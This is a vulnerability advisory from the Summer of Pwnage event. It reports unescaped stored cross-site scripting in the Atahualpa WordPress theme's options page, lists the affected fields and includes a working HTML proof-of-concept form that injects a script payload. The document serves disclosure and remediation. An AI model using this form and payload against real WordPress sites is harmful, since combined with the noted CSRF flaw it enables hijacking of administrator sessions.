A number of Cross-Site Scripting vulnerabilities were found in the Atahualpa WordPress Theme. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to use the CSRF vulnerability described in SFY20160759 to trick the admin into storing malicious input.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160724-0004
This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme.
There is currently no fix available.
Atahualpa v3.7.24 has it's own theme Options page where administrators can tweak lots of settings including feed links, comments, website appearance et cetera. Internally the settings submission is handled by forms submitting a number of POST requests. However, when the settings get auto-filled back into the form, input is not escaped in many places, instead it is returned to the user as plaintext. Atahualpa's settings allow customisation of various fields such as comments, feed links etcetera.
Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server:
"comment_feed_link",
"home_cat_menu_bar",
"email_subscribe_link",
"home_single_next_prev",
"email_subscribe_link_title",
"feedburner_email_id",
"excerpt_length",
"page_menu_bar_link_color",
"cat_menu_bar_background_color_parent",
"cat_menu_bar_link_color",
"left_col_pages_exclude",
"widget_lists link-hover-color",
"left_col2_cats_exclude"
The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser.
In order to reproduce the issue the following request can be replayed using the cookies of the current admin.
<html>
<body>
<form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST">
<input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/>
<input type="hidden" name="widget_title_box" value=""/>
<input type="hidden" name="widget_title" value="font-size: 1.6em; font-weight: bold;"/>
<input type="hidden" name="widget_content" value=""/>
<input type="hidden" name="widget_lists[li-margin-left]" value="0"/>
<input type="hidden" name="widget_lists[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists[link-color]" value="666666"/>
<input type="hidden" name="widget_lists[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists2[link-color]" value="666666"/>
<input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar"><script>alert(1)</script>ljgl1"/>
<input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists3[link-color]" value="666666"/>
<input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/>
<input type="hidden" name="category_widget_display_type" value="inline"/>
<input type="hidden" name="select_font_size" value="Default"/>
<input type="hidden" name="save" value=""/>
<input type="hidden" name="action" value="save"/>
<input type="hidden" name="category" value="widgets"/>
<input type="submit"/>
</form>
</body>
</html>
